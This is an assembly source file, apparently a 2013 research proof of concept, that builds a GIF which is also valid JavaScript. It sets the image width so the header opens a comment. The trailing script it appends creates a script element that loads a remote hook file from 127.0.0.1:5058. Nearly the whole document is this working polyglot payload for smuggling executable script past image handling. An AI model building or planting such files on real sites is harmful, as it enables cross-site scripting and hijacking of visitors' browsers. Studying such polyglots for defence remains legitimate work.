How to execute JavaScript from a GIF!

GifJS.asm

; a hand-made GIF containing valid JavaScript code
; abusing header to start a JavaScript comment
 
; inspired by Saumil Shah's Deadly Pixels presentation
 
; Ange Albertini, BSD Licence 2013
 
; yamal gifjs.asm -o img.gif
 
WIDTH equ 10799 ; equivalent to 2f2a, which is '/*' in ASCII, thus starting an opening comment
 
HEIGTH equ 100 ; just to make it easier to spot
 
db 'GIF89a'
dw WIDTH, HEIGTH
 
db 0 ; GCT
db -1 ; background color
db 0 ; default aspect ratio
;db 0fch, 0feh, 0fch
;times COLORS db 0, 0, 0
; no need of Graphic Control Extension
; db 21h, 0f9h
; db GCESIZE ; size
; gce_start:
; db 0 ; transparent background
; dw 0 ; delay for anim
; db 0 ; other transparent
; GCESIZE equ $ - gce_start
; db 0 ; end of GCE
 
db 02ch ; Image descriptor
dw 0, 0 ; NW corner
dw WIDTH, HEIGTH ; w/h of image
db 0 ; color table
 
db 2 ; lzw size
 
;db DATASIZE
;data_start:
; db 00, 01, 04, 04
; DATASIZE equ $ - data_start
 
db 0
db 3bh ; GIF terminator
 
; end of the GIF
 
db '*/' ; closing the comment
db '=1;' ; creating a fake use of that GIF89a string
 
db 's = document.createElement("script");'
db 's.src = "http://127.0.0.1:5058/xook.js";'
db 'document.body.appendChild(s);'